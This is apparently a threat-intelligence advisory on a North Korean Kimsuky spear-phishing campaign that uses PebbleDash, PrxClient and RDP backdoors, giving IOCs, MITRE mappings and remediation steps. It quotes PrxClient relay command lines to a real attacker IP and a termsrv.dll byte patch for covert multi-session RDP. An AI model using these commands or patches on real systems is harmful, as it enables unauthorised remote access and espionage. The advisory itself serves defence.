Kimsuky Group Impersonates Diplomats to Deploy PebbleDash Backdoor and PrxClient Proxy (CVE-less LNK Campaign)
Kimsuky Group Impersonates Diplomats to Deploy PebbleDash (TL-2026-1645), also tracked as PebbleDash / PrxClient Diplomatic Impersonation Campaign, is a high-severity malware campaign, first published 2026-07-22. It is attributed to Kimsuky (North Korea) with high confidence, affects Microsoft Windows (termsrv.dll / Remote Desktop Services), maps to 27 MITRE ATT&CK techniques (T1003.001, T1005, T1021.001), and is covered by 9 detection rules and 34 indicators of compromise.
Key facts for TL-2026-1645
- Threat ID
- TL-2026-1645
- Also known as
- PebbleDash / PrxClient Diplomatic Impersonation Campaign
- Severity
- HIGH
- Status
- ACTIVE
- Category
- MALWARE
- First published
- 2026-07-22
- Last reviewed
- 2026-07-22
- Attribution
- Kimsuky
- Attribution confidence
- HIGH
- Nation-state nexus
- North Korea
- Motivation
- ESPIONAGE
- Target sectors
- education, government administration, diplomatic
- Target regions
- south korea, Global
- Detection rules
- 9
- Indicators of compromise
- 34
Malware and tooling in Kimsuky Group Impersonates Diplomats to Deploy PebbleDash
Malware and tooling: PEBBLEDASH, PrxClient, RDP Wrapper, SspiUacBypass, UACMe
The North Korea-linked Kimsuky group (APT43/Black Banshee) ran spear-phishing campaigns against education-sector personnel by impersonating diplomatic entities, using malicious LNK files to trigger PowerShell/Mshta droppers that installed the PebbleDash backdoor, PrxClient RDP relay proxy, RDP Wrapper, UACMe, SspiUacBypass, and a keylogger. The actor patched termsrv.dll to enable multi-session RDP and created hidden backdoor administrator accounts for persistent, stealthy remote access.
How Kimsuky Group Impersonates Diplomats to Deploy PebbleDash works
In a campaign documented by AhnLab ASEC (published 2026-07-17), Kimsuky operators sent spear-phishing emails impersonating diplomatic personnel and organizations, targeting education-sector victims with LNK attachments disguised as documents (e.g., "vvn.31.Pdf....Lnk", "D.21 SEOUL.Lnk", "AIE NO. 178 SEOUL.Lnk"). Two execution chains were observed: Case 1 has the LNK directly invoke an embedded PowerShell script; Case 2 has the LNK launch mshta.exe against an embedded malicious HTA script. Both chains ultimately drop a JavaScript downloader ("DefenderUpdate.js") that beacons to C2 for follow-on payloads, plus "Templates.js"/"Templates.ps1" which install a persistence launcher and register a scheduled task named "Windows Templates Update", and "capture.ps1", an exfiltration script that reads and transmits local files to the C2 server.
The primary payload is the PebbleDash backdoor, deployed in two variants. An argument-based variant is installed with the argument "QCvt5676hZXbg" and executed with "mJnZzaCN2RnFG", self-copying to %SystemRoot%\System32\smss.exe to masquerade as a legitimate Windows process. A registry-based variant requires argument "edcVFRtgbNHY6", stores its encrypted configuration under HKLM\SYSTEM\CurrentControlSet\Control\WMI\Security\{CC1CFAFD-D1B4-4303-8C2C-0BC4E3C54B5C}, and uses an injector DLL (%SystemDirectory%\sqliom.dll) to inject its payload into the LSASS process for defense evasion and credential-access proximity. PebbleDash communicates with its C2 over an HTTP-based protocol using URL parameters (Page=<Random>&mode=<ConfigID>&DATA=<SessionID> for registration, Page=1&mode=<SessionID>2 for command retrieval, Page=2&mode=<SessionID>&DATA=<EncData> for result exfiltration) and supports at least 27 distinct commands covering drive/process/system enumeration, file download/upload/delete/wipe/move, arbitrary process execution, configuration updates, heartbeat, self-deletion, and remote shutdown.
Alongside PebbleDash, the actor deploys PrxClient, a lightweight relay/proxy tool that pivots traffic between the attacker's C2 infrastructure and the victim's local RDP port (3389), effectively turning the compromised host into a reverse-proxy jump box for interactive RDP sessions without requiring inbound firewall exceptions. Observed invocations pass six positional arguments: C2 heartbeat port, C2 IP, C2 port, local IP, local RDP port, and a heartbeat-data flag, e.g. "125.tmp 6060 153.75.233.17 8080 127.0.0.2 3389 2" and "rpc.exe 6060 153.75.233.17 8080 127.0.0.2 3389 1".
To maximize the value of RDP access, the actor drops RDP Wrapper (via rdpwrap.bat) to enable RDP service on editions that normally restrict it and to activate a dormant Administrator account, alongside an in-house RDP Patcher that binary-patches the legitimate termsrv.dll routine (legitimate bytes "39 81 3C 06 00 00..." replaced with "B8 00 01 00 00 89 81 38 06 00 00 90") to remove the single-session RDP restriction, enabling concurrent multi-session RDP logins without alerting the interactive user. The patched DLL is staged at C: emp.dll before replacing the system file. The actor then creates multiple hidden local backdoor accounts with disguised names and passwords, including "Administrator" (variant passwords resembling "12*@#"), a second "Administrator" variant ("R8*ca"), and "Adminini" ("09*21"), to guarantee persistent multi-session RDP access even if one credential set is discovered and remediated.
Privilege escalation is achieved via UACMe-derived UAC-bypass techniques and SspiUacBypass, a technique that abuses NTLM datagram security-context manipulation in the Security Support Provider Interface to elevate privileges without a UAC prompt. A custom keylogger persists on the host, writing captured keystrokes to %TEMP%\Log.<USERNAME>.bin before periodic exfiltration to the C2. Additional loader/downloader scripts ("swas.txt", "sadadf.txt") execute further obfuscated PowerShell, and the actor is observed running "rdpwrap_new.bat" or exfiltrating System32 directory listings as reconnaissance for further tooling deployment.
Infrastructure includes an HTTP C2 panel at 167.88.165.122 (/login.asp) and a cluster of attacker-registered/compromised domains masquerading as legitimate services (edcvbgtrf.medianewsonline.com, fsfhsfgsfsnxcvbasfsgsrhsf234fsd.mywebcommunity.org, mpo4wj.scienceontheweb.net, ng.mofagov.com — impersonating a foreign-ministry domain pattern consistent with the diplomatic-impersonation lure, p563q1.sportsontheweb.net), backed by hosting IPs 103.212.120.253, 153.75.233.17, 173.214.170.58, and 167.88.165.122. This tradecraft — LNK-triggered multi-stage PowerShell droppers, PebbleDash, RDP-based interactive access via patched termsrv.dll and hidden accounts, and UAC-bypass privilege escalation — is consistent with Kimsuky's (APT43/Black Banshee/Velvet Chollima/Emerald Sleet/THALLIUM/TA427/Springtail) long-running espionage operations against government, diplomatic, academic, and think-tank targets on behalf of North Korea's Reconnaissance General Bureau.
MITRE ATT&CK techniques used in TL-2026-1645
Credential Access
T1003.001 LSASS Memory; T1056.001 Keylogging
Collection
Lateral Movement
T1021.001 Remote Desktop Protocol
Defense Evasion
T1036.005 Match Legitimate Resource Name or Location; T1055 Process Injection; T1070.004 File Deletion; T1140 Deobfuscate/Decode Files or Information; T1564.002 Hidden Users
Exfiltration
T1041 Exfiltration Over C2 Channel
Execution
T1053.005 Scheduled Task; T1059.001 PowerShell; T1059.007 JavaScript
Persistence
T1053.005 Scheduled Task; T1098.007 Additional Local or Domain Groups; T1136.001 Local Account
Discovery
T1057 Process Discovery; T1082 System Information Discovery; T1083 File and Directory Discovery
Command and Control
T1071.001 Web Protocols; T1090 Proxy; T1105 Ingress Tool Transfer; T1219 Remote Access Tools; T1571 Non-Standard Port
defense-impairment
stealth
Privilege Escalation
T1548.002 Bypass User Account Control
Initial Access
Affected products and versions in Kimsuky Group Impersonates Diplomats to Deploy PebbleDash
- Microsoft — Windows (termsrv.dll / Remote Desktop Services)
Vulnerable versions: All supported Windows client/server editions where termsrv.dll can be patched by an attacker with local admin access
Remediation for Kimsuky Group Impersonates Diplomats to Deploy PebbleDash
Immediate actions
- Block the identified C2 IPs (103.212.120.253, 153.75.233.17, 173.214.170.58, 167.88.165.122) and domains (edcvbgtrf.medianewsonline.com, fsfhsfgsfsnxcvbasfsgsrhsf234fsd.mywebcommunity.org, mpo4wj.scienceontheweb.net, ng.mofagov.com, p563q1.sportsontheweb.net) at perimeter DNS/firewall/proxy
- Hunt for and disable unauthorized local accounts named Administrator (secondary), Adminini, or any hidden accounts (HKLM SAM UserList) created outside change control
- Verify integrity of C:\Windows\System32\termsrv.dll against known-good vendor hash; restore from trusted source if patched bytes (B8 00 01 00 00 89 81 38 06 00 00 90) are found
- Hunt for smss.Exe outside %SystemRoot%\System32 or with mismatched signing/hash, and for sqliom.dll injector artifacts
- Inspect HKLM\SYSTEM\CurrentControlSet\Control\WMI\Security\{CC1CFAFD-D1B4-4303-8C2C-0BC4E3C54B5C} for injected PebbleDash configuration
- Block execution of LNK-triggered mshta.exe and PowerShell chains via ASR rules; disable Windows Script Host for non-admin users where feasible
- Search for %TEMP%\Log.<USERNAME>.bin keylogger artifacts and scheduled task "Windows Templates Update"
Workarounds
- Disable mshta.exe execution via AppLocker/WDAC where not business-required
- Restrict local Administrator account creation/renaming via GPO account lockout and auditing
Longer-term hardening
- Deploy EDR with behavioral detection for LSASS injection, termsrv.dll modification, and RDP multi-session anomalies
- Restrict RDP exposure with network segmentation and require MFA/VPN for any remote administration
- User awareness training for education-sector and diplomatic-adjacent staff on spear-phishing lures impersonating diplomatic entities
- Enforce application control / LNK-file execution restrictions from email/web sources
- Monitor for RDP Wrapper (rdpwrap.dll/rdpwrap.ini) installation and UACMe/SspiUacBypass tool signatures
Timeline of Kimsuky Group Impersonates Diplomats to Deploy PebbleDash
- Custom keylogger begins writing captured keystrokes to %TEMP%\Log.<USERNAME>.bin for periodic exfiltration
- PrxClient relays attacker C2 traffic to victim RDP port 3389 via IP 153.75.233.17:8080, enabling interactive remote access
- UACMe-based tooling and SspiUacBypass used to bypass UAC for elevated persistence
- RDP Wrapper enabled, termsrv.dll patched for multi-session RDP, and hidden Administrator/Adminini backdoor accounts created
- PebbleDash backdoor installed (argument-based variant copies to System32\smss.exe; registry-based variant injects into LSASS via sqliom.dll)
- Scheduled task "Windows Templates Update" registered; capture.ps1 begins local file exfiltration
- LNK execution triggers embedded PowerShell (Case 1) or Mshta-launched HTA script (Case 2), dropping DefenderUpdate.js and Templates.js/ps1
- Victims receive spear-phishing emails with LNK attachments disguised as diplomatic documents (e.g. "D.21 SEOUL.Lnk", "AIE NO. 178 SEOUL.Lnk")
- AhnLab ASEC publishes technical analysis of Kimsuky spear-phishing campaign impersonating diplomats, detailing PebbleDash, PrxClient, and RDP backdoor tooling
Sources cited for Kimsuky Group Impersonates Diplomats to Deploy PebbleDash
- Attack Cases by the Kimsuky Group Impersonating Diplomats (PebbleDash, PrxClient)
- Kimsuky, Black Banshee, Velvet Chollima, Emerald Sleet, THALLIUM, APT43, TA427, Springtail, Earth Kumiho, PatheticSlug, Group G0094
- APT43 Hackers Targeting Academic Institutions Using Exposed Credentials
- APT PROFILE – APT43
- Threat Assessment: North Korean Threat Groups
- Kimsuky (Threat Actor)
- Kimsuky (G0094): North Korean APT Group Tactics, Techniques, and Defenses
Threats related to Kimsuky Group Impersonates Diplomats to Deploy PebbleDash
Detection coverage for TL-2026-1645
As of 2026-07-22, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-1645 across Splunk SPL, Microsoft KQL and Sigma, covering 34 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.